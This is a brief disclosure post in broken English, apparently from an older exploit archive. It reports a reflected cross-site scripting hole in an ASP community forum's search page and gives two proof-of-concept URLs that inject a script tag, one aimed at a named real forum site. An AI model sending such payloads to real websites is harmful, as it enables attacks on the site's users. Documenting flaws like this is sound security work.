there is aproplem in Community forum 
community forum make by asp
i found a xss in search 
when we typed 
http://www.victim.com/forum/search/SearchResults.aspx?q=><script>alert('CSS%20Vulnerable')</script><b%20a=a%20&f=&u=
EXAMPLE 
http://forums.asp.net/search/SearchResults.aspx?q=><script>alert('CSS%20Vulnerable')</script><b%20a=a%20&f=&u=

it will make a xss 

credit

abducter_minds@yahoo.com
all ARAB { EGYPT }